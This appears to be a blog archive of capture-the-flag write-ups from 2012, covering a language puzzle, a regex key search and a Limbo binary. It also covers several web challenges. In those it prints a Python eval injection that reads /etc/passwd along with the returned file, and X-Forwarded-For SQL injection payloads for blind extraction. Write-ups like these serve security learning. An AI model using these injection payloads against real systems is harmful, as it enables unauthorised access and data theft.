Skip navigation

Tag Archives: CTF

Title: surtA
Points: 350
Description: An ancient language discovered roughly 20 years ago.

surta-97b6beb1e3c9a63a089f42ce9f278ae8e82d2b42

I figured they either wanted the name of the language or the translation. Googling ‘surtA’ did not appear to bring up anything relevant, but ‘Atrus’ brings up the 1993 (20 years old) videogame Myst. The story of Myst contains the story of the ancient race known as the D’ni, and many enthusiasts have documented the language and grammar of the D’ni on the internet.

Using a D’ni alphabet/number guide I managed to convert the symbols into the following:

rehd’ni kehnehrthoglahn 2 3 12 rovtee.

reh- is a prefix, translating to ‘the’.
d’ni = D’ni
kehn- = to be
ehrth- = some/a few
oglahn = ancient
2 3 12 = 1337 (the D’ni used a base 25 number system)
rov = people
-tee = plural

The full translation (and answer) ended up as:

the d’ni are an ancient 1337 people

Advertisements

This challenge required the extraction of the key from the database, using a regex as a search. Knowing from IRC that all keys contained either 29C3 or 29c3, it was relatively simple to narrow down the potential keys to the correct one:

/^Key: 29C3_Well\.This\/Is\#Not\+The\|Wrong\?Key$/

The final correct regex is slightly misleading, in that it says it matches 2 records, but we strip out the extra bits, and submit it for 100 points:

29C3_Well.This/Is#Not+The|Wrong?Key

This was a fun one. The challenge site provided a file upload control, which allowed us to upload images to the site. Upon uploading an image, the image would be displayed under a new file name, along with the associated Image Description, GPS Longitude and GPS Latitude tags.

My first thought was to insert some PHP into the exif data, so I downloaded the very useful ExifTool to attempt this.

This attempt failed, so I pulled out the next trick in the bag. I threw an apostrophe into the Image Description tag and uploaded the file. Internal Server Error! SQL injection? I think so!

With some tinkering, I managed to successfully exploit the SQLi to get the flag.

Web300-1

Web300-2

This was an odd one. We were given a binary, and two hints: “limbo” and “inferno”. After a quick google, we find out that “limbo” is a programming language intended to be run on the “inferno” operating system. Inferno can either be run as a stand-alone OS, usually on embedded systems, or as an application within a parent OS. I elected the latter, and before long had a working install of Inferno.

The binary still would not execute though. Some more googling lead me to understand that the usual extension for compiled limbo applications is “.dis”. After adding that extension to the binary, we can finally execute it, and get the output:

98f6bcd 4621d373 -3521b17d 2627b4f6

This is… almost an md5 hash! The first quarter is only 7 characters, so we pad it with a 0 to get the full 32.

098f6bcd 4621d373 -3521b17d 2627b4f6

Something is odd about the third, but by googling the first, we quickly discover that it is the beginning of the md5 of the word ‘test’. However, the third quadrant is wrong, so we swap it out for the real one.

98f6bcd 4621d373 +cade4e83 2627b4f6

98f6bcd4621d373cade4e832627b4f6

Which is the md5 of ‘test’ and the correct flag for the challenge.

We were presented with a simple site. It was the admin control panel for the oppressive South Park PD. It allowed the cruel police of South Park to select a citizen, and one of three horrible actions. To teach them a lesson, we were to extract the flag from /etc/passwd.

Submitting the form submitted three parameters:
actions
choice
human

We were given the sources, but I didn’t look too hard at them. Chucking rubbish into the variables, we’re very quickly able to get a python stack trace. With some more tinkering, we can find that whatever is included in “human” is passed to “actions” as an argument. The output of actions has to be a string, or the program fails.

The query I used to get the flag was:

&actions=eval&choice=%00&human=str(file(“/etc/passwd”).read())

I never figured out what choice did, but changing it from a null byte seemed to break things, so I just left it.

The response:

HTTP/1.1 200 OK
Date: Sat, 15 Dec 2012 16:07:58 GMT
Content-Length: 1485
Content-Type: text/html
Server: TwistedWeb/12.1.0

# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
phdays:*:1001:1001:User &:/home/phdays:/bin/sh

The task was to retrieve the flag from a website. The website was built on an open source framework, and so included a link to the source, hosted on GitHub. There wasn’t much to it, apart from the comments sections of news articles, and so it was pretty easy to find some vulnerable code:

$sql = "INSERT INTO `comments` SET `news_id` = " . (int)$id .
",`username` = " . $this->db->quote($data['username']). 
",`text` = " . $this->db->quote($data['text']). 
",`date_posted` = NOW(), `ip` = INET_ATON('" . $data['ip'] . "')";  

Sweet. Looks like if we can get our payload into $data[‘ip’] we can inject into the query. Luckily, elsewhere in the code, we’re shown that if HTTP_X_FORWARDED_FOR is set, that is the IP address that is used. I made a test comment, and sent the request on over to Burp Repeater.

We can inject by changing the X-Forwarded-For header.

We can start by using error based injection to find the right table and column. This is the query we get that allows the comment to be posted, rather than spitting out a table/column not found error:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags’);–

From here on out, we’re going blind. We have to build the flag, letter by letter, going through 0-9a-f until the query fails, and then go back one letter. By this repeated process, we can build the entire 32 character flag:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags WHERE flag > ’94bd6136818878b5dd97d3a231a97649′);–